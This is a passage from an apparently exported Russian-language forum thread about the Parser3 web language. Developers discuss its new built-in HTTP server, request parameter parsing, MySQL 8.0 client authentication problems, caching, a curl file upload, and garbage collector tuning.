[quote] можно будет поднимать несколько серверов.[/quote]\
\
Создание нескольких объектов в парсере этому никак не поможет. Эта логика в C коде, в обработке параметра командной строки -p. Порт будет доступен через env (забыл сделать), и по нему можно будет использовать разную конфигурацию в $httpd:main. Но добавлять это в конфигурацию по умолчанию не вижу особого смысла - например у нас у каждого сайта и так отдельный auto.p."
"85604","Как при запуске из консоли - текущая директория. Но понятно можно поменять - https://www.parser.ru/docs/lang/?requestdocroot.htm"
"85605","Мог бы и сам догадаться."
"85606","Такая штука особенно будет удобной для микросервисов."
"85607","Например,\
<form action=\"?a=1&b=2\" method=\"post\">\
<input type=\"text\" name=\"a\" value=\"3\">\
<input type=\"submit\" value=\"ok\">\
</form>\
\
существует некое историческо-бытовое заблуждение, при том,  что get,post (put и другие) это взаимоисключающие методы на уровне http-протокола.\
\
но сами get-параметры есть всегда, т.к. живут в урле, а урл всегда есть в запросе.\
\
но обращение с этим какое то грубое, во-первых склеиваеие одноименных параметров из get+post(в пользу post), а во вторых отсутствие контроля над тем откуда я получил (хочу получить) эти параметры именно из post-формы, или из get-урла\
\
к классу $form претензий нет, его упрощенно-унифицированный дизайн ок.\
\
но хочется не колбасить костыли, выкусывая из урла, формы, глядя на http-метод - строить свой хеш вида\
\
$get.a\
$post.a\
\
то есть хочется\
какой то $httpstruc \
который подготовит из коробки красивый хеш из всех http заголовков и тела запроса. \
\
хочется не только параметры отдельно на get/post секции, \
\
но и  всякие например\
$accept_language[\
       $.RU-ru[0.9]\
       $.EN-us[0.6]\
      ]\
\
на языки и приоритеты разложить, не это конечно можно и накодить, но как то увлёкшись предпоготовкой и нормализацией всего этого http-добра силами парсера, получилась в итоге довольно прожорливая init-фаза, что нативными \"Си\"-лами Парсера было бы и быстрее и комфортнее."
"85608","... но методы в http взаимоисключающие. Метод в запросе может быть только один и он определяет семантику запроса:\
\
[quot]\
The request method token is the primary source of request semantics;\
   it indicates the purpose for which the client has made this request\
   and what is expected by the client as a successful result.\
\
   The request method's semantics might be further specialized by the\
   semantics of some header fields when present in a request (Section 5)\
   if those additional semantics do not conflict with the method.  For\
   example, a client can send conditional request header fields\
   (Section 5.2) to make the requested action conditional on the current\
   state of the target resource ([RFC7232]).\
[/quot]\
https://tools.ietf.org/html/rfc7231#page-21\
\
Никаких get-параметров в природе не бывает. Есть три способа передать данные в запросе. Параметры в uri, заголовки, тело запроса. Тело запроса может быть и в get-запросах — стандартом это не запрещено и на практике встречается. \
\
Заголовки имеют специфическую семантику и их, обычно, относят к метаданным и выделяют отдельно. Что делать с параметрами из uri и тела запроса решает наша программа. \
\
Парсер объединяет параметры в класс form, чтобы обеспечить единообразное представление параметров независимо от способа их передачи. Допускаю, что бывают ситуации, когда нужно различать параметры из uri и каким-то специфическим образом разбирать сложные заголовки, но это редкие кейсы и не факт, что их нужно поддерживать на уровне языка, а не конкретной реализации в вашем коде."
"85609","Действительно можно будет заморочиться на использование в паре микросервисов. Хотя бы из ностальгии."
"85610","Написанная вами информация мне хорошо известна, но все равно спасибо, пригодится людям, читающим форум. \
\
Я же не вижу противоречий, и слово \"get-параметры\" применил условно, разве что не поставив кавычки. \
\
Я это и имел в виду, что хотя get и post, взаимоисключающие методы, тем не менее, \"народный термин\" get-переменные таки бытует, понимающий под этим конечно же query string, но просплитованный по \"=\" и \"&\".\
\
Причём \"поверие\" это далеко не моё, и не в рунете придуманное.\
\
Наберите в Google \"get-parameter\" и получите пучок таких автоответов. \
\
GET parameters (also called URL parameters) are used when a client, such as a browser, requests a particular resource from a web server using the HTTP protocol.\
\
И я помню со времён Perl что именно в такой формулировке это было более популярным.\
\
Я предполагаю что именно подобные \"негласные умозаключения\" + тот факт, что <form method=get> оперирует со всеми <input> именно через query string -- стало неявным побуждением склеивать/взаимоисключать url-параметры и post-параметры из тела запроса при post методе. Что на самом деле вещи разной природы. \
\
О вкусовщине, что считать нужным или ненужным, это уже другой вопрос. \
\
Кейс, например такой, что есть часть параметров которые хочется запретить получать именно post-ом, например дабы лишний раз никто не прислал это ссылкой, или вставкой псевдокартинки на стороннем ресурсе, тогда как форму с post уже тривиальной ссылкой (без js) не вставишь, да и обрабатывается она браузером иначе: рефреш без подтверждения не пройдет, и т.п.\
\
Сейчас речь не о CSRF особо, борьба с этим имеет простые и известные методы, типа добавка токена.\
\
Тут речь об удобстве. Если хочется сделать некую init-конфигурацию и определить ряд доп правил валидации входящих, ожидаемых параметров, среди которых и http-метод, то приходится проделать много возни чтобы все нормализовать все, провалидировать и собрать красивый многовложенный хеш, где http-запрос уже более красиво разложен на url-параметры и post-переменные, отдельно. \
\
Всякие accept-language, и прочие accept- распарсены на составляющие, \
\
с этим потом удобно и приятно работать, но кажется что вот такая более вкусная предпоготовка данных могла бы иметь место, т.к. кодом на парсере она становится весьма громоздкой. \
\
Если бы Парсер был полноценным http-фреймворком (как его иногда тут называли), именно в плане всех удобств разжевывания запроса.  \
\
То никто бы не писал лишний раз свой фреймворк/middleware классы на коде Парсера, в части типовых манипуляций со все ещё \"сырым http\", а предался только радостям ваяния orm, чего-то там более высокоуровневого.\
\
Я сейчас именно о вкусовщине, т.к. вопрос был, чего вам надо, мне бы вот именно фреймворковости от самого Парсера побольше. \
\
Про разбор всех заголовков на вложенные значения (как у accept-language) я писал выше. Можно б и user-agent уже нативным классом распатронить, все эти регулярки, нормализации выливаются в довольно емкую фазу. \
\
Да и runtime методы/классы может какие то, т.к. сейчас оно из коробки голое, как велосипед, и каждый здравомыслящий городит свою runtime обвязку на try/exeption и чего то там. Как минимум для дебага, более богатого логирования при ловле ошибок, и т.п."
"85611","кейс: запретить получать параметр через url, а хотеть получать его только через post, голый $form это не позволяет, и приходится городить огород init-фазы, тогда как это дело Парсера, как то повкуснее дать набор нормализованных данных из http (вкупе с уже имеющимся, более сырым прежоставлением)\
\
О чем мы говорим, человек тредом ниже мучается вопросом как ему отрезать часть урла после ? и до\
\
То есть у нас из коробки нет банального отреза uri в виде вкусного хеша вида\
\
$url_prepared[\
 $.proto[http/https]\
 $.user[]\
 $.password[]\
 $.path[uri без ?части]\
 $.query[\
    $.a[value]\
    ...\
  ]\
]\
\
Все это и многое другое, вполне обиходное и не редкое, но надо выцыганивать и выпарсивать."
"85614","Причем работает в самом сложном, многопоточном режиме. Статика тоже отдается парсером, в nginx только одно правило:\
\
location / {\
    proxy_pass http://www.parser.ru:8100;\
}"
"85615","[quote]Можно б и user-agent уже нативным классом распатронить, все эти регулярки, нормализации выливаются в довольно емкую фазу.[/quote]\
\
А внутри Парсера их святой дух бесплатно разберёт?\
\
Этот разбор не нужен в большинстве случаев и незачем его навязывать каждому запросу."
"85618","...т.е. что на стадии компиляции не встретило вызова опр класса/метода, то и отрабатываться не будет, я же за доп обвесы топлю, а не принудительные холостые вычисления."
"85619","[quote]Client does not support authentication protocol requested by server; consider upgrading MySQL client[/quote]\
Доброе утро!\
Развернул базу на MySQL 8.0, но Парсер работать с ней отказывается.\
Нужно ставить старую версию 5.6? Или есть секретное место, где можно скачать новую библиотеку для работы с современными видами MySQL?"
"85623","В восьмерке поменялся базовый протокол аутентификации. Ответ со стековерфлоу показывает один из вариантов решения. Второй — собрать драйвер Парсера с библиотекой от восьмого майсиквела. Сборка Парсера и драйверов тривиальный процесс для разработчика. :)"
"85625","В redmine какие-то цифры указаны, накладные расходы что в случае apache, так и для fastcgi и встроенного веб-сервера порядка тысячной секунды на запрос. Поэтому для обычного сайта особой разницы нет, cgi или fastcgi или встроенный веб-сервер, эта тысячная секунды погоды не делает. Для главной parser.ru без кеширования на i5-4570 результаты такие: apache - 40 запросов/в секунду, httpd parallel - 47, http threaded - 30 (медленнее за счет необходимости в сборке мусора). Встроенный httpd в parallel режиме быстрее только из-за кеширования компилированного xslt между запросами, иначе были бы одинаковые с apache результаты."
"85626","...Sumo привёл правильный топик на stackoverflow, на самом деле, если разрешить native_password в конфиге mysql, и создать/пересоздать учётку, без всяких sha_auth, то вполне себе работает без пересборки.\
\
В типовом кейсе (веб-приложение с mysq-бд на одном сервере) - проще в конфиге сразу забиндить поднятие сервера на локальном ip (и слушанием соответственно локальных запросов), и в учётке так же root @ localhost (с +/- паролем который в общем-то не особо и нужен при таком применении).\
\
Ходить с других машин, например с целью пользовать графический MySQL Workbench - всегда можно через SSH-тунель/сеанс, который в самом подключении воркбенча легко указывается.\
\
Естественно, что должен быть доступ к машине по ssh тогда."
"85627","> В первую очередь для упрощения локальной разработки\
\
Ну, как по мне, так я увидел в этом сразу новую возможность - легко распространять какие-то standalone-утилиты, сервисы, которые тоже удобно делать на Парсере.\
\
Заслать кому-то удобную фиговину на Питоне было проще (т.к. Питон обычно или уже стоит, или в общем тривиально ставится), а \"дать попользоваться\" Парсерными приблудами в утилитарных целях - это действительно надо поднимать у человека Апач, конфигурировать и втыкать там правильно Парсер, на этом утилитарный порог входа закроется.\
\
А так, ты закидываешь папку с парсером (собранным под целевую платформу), какой-нить shell/bat-ник для запуска и свои Парсер-скрипты. И вауля, человек одним нажатием кнопки получает не просто программулину (которая там что-то может делать), но и целого демона с возможностью потыкаться в UI через браузер.\
\
P.S.: Никогда еще на самом деле так не применял, но много раз хотел, всегда останавливало в мыслях, таскание Апача за собой. \
\
[i]Какую-то еще легковесную БД/key-value хранилище бы подобрать, чтобы Парсер смог с ней подружиться, и чтобы она тоже с \"одного файла\" запускалась.[/i]"
"85628","Есть как минимум два нередко востребованных кейса:\
1) Сделать так, чтобы редактирование скриптов небыло таким тривиальным для третьих лиц (в целях и защиты от дурака и вообще integrity целостности кода).\
\
2) Примитивной базовой защиты в каких-то проприетарных решениях (трудно строить бизнес-решения, с отчуждаемой частью кода, который редактируется в plaintext)."
"85630","Это сложнее, чем кажется, поскольку во время компиляции файла могут подключаться дополнительные файлы, плюс создается иерархия классов с методами."
"85631","Чем по старинке через Апач в CGI-режиме."
"85632","Поддержка SSL?\
Можно ли запустить как службу?"
"85634","[quote]Поддержка SSL?[/quote]\
\
И не планируется. Это привязка к дополнительным библиотекам, да напрямую едва ли стоит выставлять парсер в интернет. Правильнее как сейчас на www.parser.ru - nginx проксирует все запросы в парсер. SSL тоже забота nginx.\
\
[quote]Можно ли запустить как службу?[/quote]\
\
Да, ничего не мешает так сделать."
"85635","...это хоть и минималистическая БД в утилитарных целях, но тоже требует какой-то полноценной установки (с реестрами для винды, с пакетированием и раскладкой конфигов для Linux и т.п.), а сейчас посмотрел и правда, диво, .zip-ник с 3 бинарниками..."
"85636","Ничего ставить не надо, все необходимое идет в комплекте."
"85637","Я даже больше скажу, с Python в таком применении сегодня намного больше геморроя. \
\
Во-первых он действительно должен стоять, а это далеко не бинарник из папки запустить, во-вторых, какой версии/поколения Python? 2.x, 3.x \
\
В третьих, версии библиотек/модулей, а значит надо ещё и python env.\
\
Проблема в согласованных пакетах, либах, версиях, реально есть/была, поэтому индустрия освежила старый подход (времен MS-DOS/CP-M), когда все для программы - внутри папки этой программы, только на современном витке - .dmg формат в МакОси, всякие snap/flatpak под Линукс. \
\
И не усложняя все форматами пакетов - собрать все самостоятельное в папочку и полноценно запустить - уже дорогого стоит.\
\
Надо отдать должное, некоторые вещи на Парсере делаются весьма сподручно и приятно, помятуя какой нить php/perl в суе, так вообще несравнимо красиво и читабельно.\
\
И подколбашивать какие то оснастки/утилиты раньше бы прозвучало скорее диковато, а вот так теперь, с такой автономностью maybe maybe."
"85638","Условный\
[code]…\
($httpd.autoindex && -d \"$uri\"){\
	$result[^cache[/cache/index](60){^httpd-index[$uri]}]\
}\
…\
[/code]\
ничего не даёт.\
\
Ошибки нет, но результат постоянно новый, файла кэша не появляется.\
\
Работать с кэшем можно только на уровне основного кода, вне [i]@httpd[/i]-методов?"
"85641","Во всяком случае под Linux. Какая OS? И лучше точный bug.html. По-идее методу cache абсолютно все равно, работать в режиме cgi или веб-сервера. И метод httpd-main совершенно обычный, от main его отличает только название."
"85642","Windows 7x64.\
\
https://yadi.sk/d/TN4BWb8AvAE5tg\
\
Взял ночную сборку, распаковал, добавил [i]www/index.html[/i], в [i]auto.p[/i] добавил [i]cache[/i].\
\
[i]www/run.cmd[/i] запускает её на потру 9999.\
\
Cache в [i]auto.p[/i] не работает, в [i]index.html[/i] — работает."
"85643","Так вроде в архиве по ссылке формирование индекса выключено:\
\
#	$.autoindex(true)\
\
P.S. И $uri надо в каком-нибудь в виде в ключ кеширования добавить..."
"85644","[quote]Так вроде в архиве по ссылке формирование индекса выключено:\
\
#	$.autoindex(true)[/quote]\
\
А!\
Я банально промахнулся секцией if'а, нужно [i]^httpd-file[$uri/$httpd.index][/i] кэшировать.\
\
Посыпаю голову.\
\
[quote]P.S. И $uri надо в каком-нибудь в виде в ключ кеширования добавить...[/quote]\
\
Понятно, что это «нестоящий кэш», просто проверяю его работу.\
\
\
Получается, можно организовать нетривиальную логику кэширования прямо на уровне демона — удобно."
"85645","При указании в [i]@conf[/i]\
[code]$HTTPD[\
	$.mode[threaded]\
	$.timeout(4)\
][/code]\
\
Windows 7x64.\
\
C [i]$.mode[sequental][/i] работает."
"85647","У меня понятно работает. А какой полный текст ошибки в parser3.log? Там просто указывается, какое значение ему не понравилось, например:\
'parallel' $main:HTTPD.mode must be 'sequental' or 'threaded' [httpd.mode] [no request info]\
\
Кстати timeout здесь работает чуть иначе, чем в ^file:load. Он ограничивает время одной операции чтения. А в threaded режиме не работает вовсе, поскольку таймаут у нас реализован через alarm/setjump, они не поддерживают многопоточность."
"85648","[quote]А какой полный текст ошибки в parser3.log?[/quote]\
\
[i][Mon Dec 28 18:25:07 2020] [9440] : 'threaded' $main:HTTPD.mode must be 'sequental' or 'threaded' [httpd.mode] [no request info][/i]\
\
https://yadi.sk/d/TN4BWb8AvAE5tg"
"85649","/cgi-bin/lib/libparser3mysql.so\
driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory\
\
как быть с такой ошибкой?"
"85651","Обновил Windows версии в [url=\"/download/nightly/\"]ночных сборках[/url] - чтобы парсер собирался в совсем старых OS был добавлен дефайн HAVE_TLS, в прошлый раз забыл его включить для Windows."
"85653","Драйвер не может найти клиент MySQL."
"85655","Идет фаза тестирования перед выходом RC + пишется новость. Ну или если у кого-то есть простые и несложно реализуемые пожелания - пишите, еще есть шанс попасть в релиз 3.4.6. :)"
"85656","В последнее время все чаще редактирую код прямо с телефона, например в отеле, и хотелось бы иметь более компактный код. Не знаю что можно сделать, но может быть есть смысл подумать в эту сторону? Может быть ^s вместо ^switch, — детям, да и вообще новичкам это проще запомнить. Кстати, сайту парсера тоже не помешала бы адаптивность под мобильные &#128522;"
"85657","[quote]Может быть ^s вместо ^switch[/quote]\
\
Будет конфликт, если в коде используется переменная $s..."
"85658","[code]$MAIN:s[$MAIN:switch]\
$MAIN:c[$MAIN:case]\
\
^s[1]{\
	^c[1]{1}\
	^c[2]{2}\
}[/code]\
\
Но работать с таким после — сомнительное удовольствие."
"85660","[quote]А почему сомнительное удовольствие, если оно решает задачу, делая код удобнее для редатирование на телефоне?[/quote]\
\
Редактирование на телефоне само по себе странная затея.\
\
Подобные изменения — фактически обфускация кода, разобраться в таком потом непросто даже самому автору.\
Главное качество кода — читаемость и ясность (а не «писаемость»).\
\
Парсер довольно лаконичный язык, и [i]switch[/i] уж точно не пример чрезмерности в названиях.\
\
Ну, и возможны конфликты имён, о которых писал Moko."
"85661","[quote]Ну или если у кого-то есть простые и несложно реализуемые пожелания - пишите, еще есть шанс попасть в релиз 3.4.6.[/quote]\
\
[i]CLASS_GETTER_UNPROTECTED[/i] добавится [url=https://www.parser.ru/forum/?id=85307]опцией[/url]?\
Чтобы не патчить код с каждым релизом.\
Два года на выдержке.\
\
Даже [url=http://redmine.parser.ru/issues/1157#note-17]пример для документации[/url] написан."
"85663","По аналогии с [i]OBJECT-PROTOTYPE[/i]."
"85664","Понятно true по умолчанию."
"85665","Ещё раз перечитал наше обсуждение в задаче трёхлетней давности — сложности были лишь в документировании.\
\
Для объектов работает по умолчанию и неотключаемо. Несовместимости особой нет."
"85666","Фича сомнительная, а текущее исключение может помочь найти ошибку.\
Так что скорее в качестве новогоднего подарка. :)"
"85667","Спасибо, конечно.\
\
Но я, всё же, не понимаю, почему поведение разное для объектов и классов.\
Применение одинаковое."
"85668","В документации пару раз упоминается [i]^taint[clean;…][/i]:\
https://www.parser.ru/docs/lang/jsonparse.htm\
https://www.parser.ru/docs/lang/reflectiontainting.htm\
\
Однако [url=https://www.parser.ru/docs/lang/opuntainttaint.htm]в списке taint-преобразований[/url] такого метода нет.\
И неясно в чём его отличие от [i]as-is[/i].\
\
\
Оказывается, мы обсуждали «clean» четыре года назад:\
[quote]Чистые данные (код на парсере). В зависимости от того, режим вывода cgi или в консоль при выводе становится эквивалентным либо optimized-as-is, либо as-is.[/quote]"
"85670","[code]\
L_UNSPECIFIED=0,	///< no real string has parts of this lange: it's just convinient to check when string's empty\
		// these two must go before others, there are checks for >L_AS_IS\
L_CLEAN='0',		///< clean  WARNING: read above warning before changing\
L_AS_IS='A',		///< leave all characters intact  WARNING: read above warning before changing\
[/code]\
https://github.com/artlebedev/parser3/blob/master/src/include/pa_string.h#L100\
\
Подозреваю, что это нужно, чтобы отличить чистые данные от тех, которые не требуют преобразований. :)"
"85671","Но недокументировано.\
И неясно есть ли разница в преобразованиях «clean» и «as-is».\
\
То, что их можно различить, посмотрев на tainting, в документации упомянуто."
"85672","Они через SSI сделаны, не вижу смысла возиться и реализовывать SSI на веб-сервере парсера. :)"
"85673","SSI — полезнейшая штука, особенно в сочетании с кэшированием.\
Без неё как без рук."
"85674","Если я правильно понимаю, речь о ServerSideIncludes -- чисто апачевские директивы/метаскрипты, для вставки содержимого одних файлов внутри других?\
\
К голому Парсеру это разве имеет отношение? Кому апачевские фичи, тому и версию с апачем.\
\
В чем вообще практическая польза SSI, сегодня? Если примитивная сборка содержимого из разных файлов, да с кэшированием, это и на Парсере легко и гибче.\
\
Рискну предположить (т.к. не уверен что оно так умело, но должно по идее), что самый живой кейс это сборка ответа от инклудов разного типа: text/html, php, parser3."
"85676","даже с учётом, что он теперь автономный воркер/демон.\
\
Слишком много ньюансов, тянущих фичи полновесного веб-сервера, переизобретать nginx/apache? А что делать Парсеру в случае собираемых кусков на других языках?\
\
Подключать \"результаты вывода других блоков\" и выборочно кэшировать куски конечной страницы - это у Парсера из коробки. \
\
А так, пример по ссылке, такой себе хайлоад рецепт...(скорее всего очень старый, даты не нашёл), т.к. ботлнек там все равно входящий воркер вебсервера.\
\
Сплитовать нагрузку и применять кэширование на разные блоки страницы лучше силами клиента (html5 includes, js, iframe наконец), так они могут и тянуться из разных мест и параллельно (хотя с новыми http уже и это пофигу)\
\
В общем, я вас понял, но соглашусь с МоКо, не в контуре Парсера это уже."
"85677","[quote]задача не Парсера даже с учётом, что он теперь автономный воркер/демон[/quote]\
\
Это задача сервера.\
\
[quote]Слишком много ньюансов, тянущих фичи полновесного веб-сервера, переизобретать nginx/apache?[/quote]\
\
Изобретайте.\
\
В данном случае речь об SSI.\
\
[quote]А что делать Парсеру в случае собираемых кусков на других языках?[/quote]\
\
Выполнять другие языки, конечно.\
И немножко шить.\
\
[quote]Подключать \"результаты вывода других блоков\" и выборочно кэшировать куски конечной страницы - это у Парсера из коробки.[/quote]\
\
По-моему, вы не поняли сути метода.\
\
[quote]А так, пример по ссылке, такой себе хайлоад рецепт...(скорее всего очень старый, даты не нашёл), т.к. ботлнек там все равно входящий воркер вебсервера.[/quote]\
\
Ой, всё пропало.\
Бедный nginx и не знает, что он — бутылочное горлышко и не может справляться с отдачей файлов кэша с минимальными накладными расходами.\
\
[quote]Сплитовать нагрузку и применять кэширование на разные блоки страницы лучше силами клиента (html5 includes, js, iframe наконец), так они могут и тянуться из разных мест и параллельно (хотя с новыми http уже и это пофигу)[/quote]\
\
Вечер откровений.\
\
Мало JS пришло в последние годы бедным клиентам, нужно больше.\
Особенно там, где он не нужен."
"85678","Здравствуйте. Пытаюсь отправить файл в cloud.yandex. \
\
[code]\
$f[^file::load[binary;test.ogg]] \
								\
$file2[^curl:load[ \
	$.post(1)\
	$.url[https://stt.api.cloud.yandex.net/speech/v1/stt:recognize?topic=general&folderId=b1gn] \
		$.httpheader[\
			$.Transfer-Encoding[chunked]\
			$.Authorization[Bearer token]\
		]\
	$.postfields[$f.text]\
	$.mode[binary] \
]] \
[/code]\
\
На выходе получаю пустой ответ\
\
При этом напрямую из консоли через curl все отрабатывает как нужно\
[code]\
curl -X POST \\\
-H \"Authorization: Bearer token\" \\\
-H \"Transfer-Encoding: chunked\" \\\
--data-binary \"@test.ogg\" \\\
\"https://stt.api.cloud.yandex.net/speech/v1/stt:recognize?topic=general&folderId=b1gn\"\
[/code]\
\
Подскажите пожалуйста где ошибка? Возможно я не верно передаю тело файла?"
"85680","$.postfields[$f.text] - так нельзя передать двоичные данные, только текст. Надо $.postfields[$f]."
"85682","Не наблюдаю необходимости пересборки libparser3mysql.so (да и непонятно чем она поможет, мы же используем всего десяток констант и функций, у меня на всех OS в ночных сборках libparser3mysql.so собирается с mysql.h от какого-то древнего mysql).\
\
Ну и подключение к mysql 8.0 подходит успешно, при установке выбирал \"современный\" вариант авторизации, в таблице mysql.user у тестового пользователя вижу caching_sha2_password | $A$005$j}9tv..., libmysqlclient.so понятно тоже от mysql 8.0."
"85683","То пересборка парсеровского драйвера не требуется — я готовыми сборками не полюзуюсь, пересобрать драйвер и парсер дело минутное. А вот сам клиент нужен правильный. Клиентом от 5.7 ты по новому протоколу не подключишься к восьмерке, а восьмерочным не подключишься к 5.1."
"85685","С ним должно работать без переключения на старый протокол. А так в x64 версии у нас лежит libmySQL.dll версии 5.7.28 от Oracle (и то тянет зависимости), в x86 что-то еще более древнее (но зато без дополнительных зависимостей). Понятно протокол MySQL 8 старые библиотеки не поддерживают."
"85687","https://dev.mysql.com/downloads/mysql/, по ссылке\
https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.22-winx64.zip,\
в нем в папке lib лежит требуемое:\
\
6817792 Sep 23 17:34 libmysql.dll\
\
В зависимостях у нее правда еще и libcrypto-1_1-x64.dll, libssl-1_1-x64.dll - они есть в bin, и еще vcruntime140_1.dll, это надо еще и это ставить, если нет: https://www.microsoft.com/en-ca/download/details.aspx?id=48145 (64-х битную версию)"
"85689","Так а parser3mysql.dll тоже же надо обновленный, чтобы работать с 8.0? Или только подмена libmysql.dll (и добавлением зависимых библиотек) решает проблемку с аутентификацией на сервере?"
"85692","[quote]$.memory(64000) - вызывать сборщик мусора после аллокации каждых 64Mb[/quote]\
\
А нельзя ли сделать подобную настройку и для обычного использования?"
"85693","[code]^if($status:memory.ever_allocated_since_compact >= 64 * 1024 * 1024){\
	^memory:compact[]\
}[/code]\
не подходит?"
"85694","Там слишком коротко описано, на самом деле это просто разовая проверка в начале обработки запроса и ручной вызов ^memory:compact[].\
\
Но: сборщик мусора действительно можно переключить в автоматический режим (надо только придумать название опции в @conf или как-то иначе). Правда это имеет свою цену.\
\
Вот у меня под рукой сейчас был код, который обрабатывает json из примерно 1,500,000 строк.\
При сборке в ручном режиме:\
\
before:  cpu 0.823952 rss 414300 used 348200 free 43076 since 0 total 385920.78125\
after:   cpu 6.165322 rss 2485644 used 2293276 free 6736 since 2795594.046875 total 3181514.828125 \
compact: cpu 6.337695 rss 2485644 used 309192 free 1990820 since 0 total 3181519.09375\
\
При сборке в автоматическом режиме:\
\
before:  cpu 0.936338 rss 340444 used 311780 free 5640 since 67844.421875 total 385927.203125\
after:   cpu 8.878208 rss 459392 used 387092 free 36824 since 93077.25 total 3181518.671875 \
compact: cpu 8.878228 rss 459392 used 387092 free 36824 since 93081.34375 total 3181522.765625\
\
Видно, что в ручном режиме процесс вырос до ~2.5Gb, разовая сборка мусора (освободившая ~2Gb) заняла ~0.17 sec. Но результат мы получили за 6.3 sec. В автоматическом режиме процесс вырос всего до ~500Mb, но потратили на 2,5 sec больше. Можно предположить, что в процессе автоматическая сборка мусора запускалась порядка 20 раз.\
\
В сборщике мусора есть параметр GC_free_space_divisor, который влияет на частоту сборки мусора.\
По умолчанию 3. Можно например в @conf разрешить его задавать (и если он задан, переходить на автоматическую сборку).\
\
                        /* We try to make sure that we allocate at      */\
                        /* least N/GC_free_space_divisor bytes between  */\
                        /* collections, where N is twice the number     */\
                        /* of traced bytes, plus the number of untraced */\
                        /* bytes (bytes in \"atomic\" objects), plus      */\
                        /* a rough estimate of the root set size.       */\
                        /* N approximates GC tracing work per GC.       */\
                        /* The initial value is GC_FREE_SPACE_DIVISOR.  */\
                        /* Increasing its value will use less space     */\
                        /* but more collection time.  Decreasing it     */\
                        /* will appreciably decrease collection time    */\
                        /* at the expense of space.                     */\
                        /* The setter and getter are unsynchronized, so */\
                        /* GC_call_with_alloc_lock() is required to     */\
                        /* avoid data races (if the value is modified   */\
                        /* after the GC is put to multi-threaded mode). */\
                        /* In version 7.1 (and before), the setter      */\
                        /* returned the old value.                      */\
\
При минимальном значении (1) результат такой:\
\
before:  cpu 0.928119 rss 339220 used 311788 free 5632 since 67854.09375 total 385928.65625\
after:   cpu 7.505589 rss 636636 used 384148 free 203608 since 116849.65625 total 3181518.015625 \
compact: cpu 7.505618 rss 636636 used 384148 free 203608 since 116851.625 total 3181519.984375"
"85695","Пока склоняюсь к такому варианту, где N это описанный выше GC_free_space_divisor... 0 - выключает автоматическую сборку.\
^memory:compact[] будет работать и в автоматическом режиме сборки мусора."
"85697","N - целое число от 0 до 5, определяющее частоту автоматической сборки мусора. 0 - автоматическая сборка мусора выключена. 1 - частота сборки минимальна (быстрее), ... 5 - частота сборки максимальна - минимизация расхода памяти за счет уменьшения скорости на ~20%."
"85698","2Jan21    379:55.61 ../cgi/parser.parser3.cgi -p parser.ru:8100\
\
RSS примерно 100Mb, used 27Mb free 38Mb. Это в многопоточном режиме, значит явных утечек памяти нет."
"85700","Хотелось бы, как минимум, видеть число сборок мусора. А лучше еще и время, затраченное на сборку.\
\
Мои эксперименты на проде показывают, что со значениями больше единички надо очень аккуратно — на генерации страничек (в среднем до 200 мс) дополнительные затраты на сборку могут составлять десятки милисекунд, а это уже десятки процентов от времени генерации страниц. :)\
\
В общем чудес не бывает, но единичку поставить полезно.\
\
update: Посмотрел gc.h. Похоже число частичных сборок можно (вызовов сборщика) получить только если врубить профилировку. Кажется это перебор для прода."
"85701","... интересно посмотреть как поведет себя сервер на каком-нибудь нагруженном проекте Студии."
"85702","Можно включить инкрементальную сборку, обычно это улучшает производительность.\
\
[code]/*\
 * Note that this defines a large number of tuning hooks, which can\
 * safely be ignored in nearly all cases.  For normal use it suffices\
 * to call only GC_MALLOC and perhaps GC_REALLOC.\
 * For better performance, also look at GC_MALLOC_ATOMIC, and\
 * GC_enable_incremental.  If you need an action to be performed\
 * immediately before an object is collected, look at GC_register_finalizer.\
 * If you are using Solaris threads, look at the end of this file.\
 * Everything else is best ignored unless you encounter performance\
 * problems.\
 */\
\
/* Enable incremental/generational collection.  Not advisable unless    */\
/* dirty bits are available or most heap objects are pointer-free       */\
/* (atomic) or immutable.  Don't use in leak finding mode.  Ignored if  */\
/* GC_dont_gc is non-zero.  Only the generational piece of this is      */\
/* functional if GC_parallel is non-zero or if GC_time_limit is         */\
/* GC_TIME_UNLIMITED.  Causes thread-local variant of GC_gcj_malloc()   */\
/* to revert to locked allocation.  Must be called before any such      */\
/* GC_gcj_malloc() calls.  For best performance, should be called as    */\
/* early as possible.  On some platforms, calling it later may have     */\
/* adverse effects.                                                     */\
/* Safe to call before GC_INIT().  Includes a  GC_init() call.          */\
GC_API void GC_CALL GC_enable_incremental(void);\
[/code]\
\
Или даже, включить parallel mark, но это уже кажется некоторым перебором и не совсем понятен статус этой фичи в либе:\
[code]#ifdef GC_THREADS\
  GC_API GC_ATTR_DEPRECATED int GC_parallel;\
                        /* GC is parallelized for performance on        */\
                        /* multiprocessors.  Currently set only         */\
                        /* implicitly if collector is built with        */\
                        /* PARALLEL_MARK defined and if either:         */\
                        /*  Env variable GC_NPROC is set to > 1, or     */\
                        /*  GC_NPROC is not set and this is an MP.      */\
                        /* If GC_parallel is on (non-zero), incremental */\
                        /* collection is only partially functional,     */\
                        /* and may not be desirable.  The getter does   */\
                        /* not use or need synchronization (i.e.        */\
                        /* acquiring the GC lock).  Starting from       */\
                        /* GC v7.3, GC_parallel value is equal to the   */\
                        /* number of marker threads minus one (i.e.     */\
                        /* number of existing parallel marker threads   */\
                        /* excluding the initiating one).               */\
  GC_API int GC_CALL GC_get_parallel(void);\
\
[/code]\
\
В доке пишут такое:\
[code]## Performance\
\
We conducted some simple experiments with a version of\
[our GC benchmark](http://www.hboehm.info/gc/gc_bench/) that was slightly\
modified to run multiple concurrent client threads in the same address space.\
Each client thread does the same work as the original benchmark, but they\
share a heap. This benchmark involves very little work outside of memory\
allocation. This was run with GC 6.0alpha3 on a dual processor Pentium III/500\
machine under Linux 2.2.12.\
\
Running with a thread-unsafe collector, the benchmark ran in 9 seconds. With\
the simple thread-safe collector, built with `-DGC_THREADS`, the execution\
time increased to 10.3 seconds, or 23.5 elapsed seconds with two clients. (The\
times for the `malloc`/`free` version with glibc `malloc` are 10.51 (standard\
library, pthreads not linked), 20.90 (one thread, pthreads linked), and 24.55\
seconds respectively. The benchmark favors a garbage collector, since most\
objects are small.)\
\
The following table gives execution times for the collector built with\
parallel marking and thread-local allocation support\
(`-DGC_THREADS -DPARALLEL_MARK -DTHREAD_LOCAL_ALLOC`). We tested the client\
using either one or two marker threads, and running one or two client threads.\
Note that the client uses thread local allocation exclusively. With\
`-DTHREAD_LOCAL_ALLOC` the collector switches to a locking strategy that\
is better tuned to less frequent lock acquisition. The standard allocation\
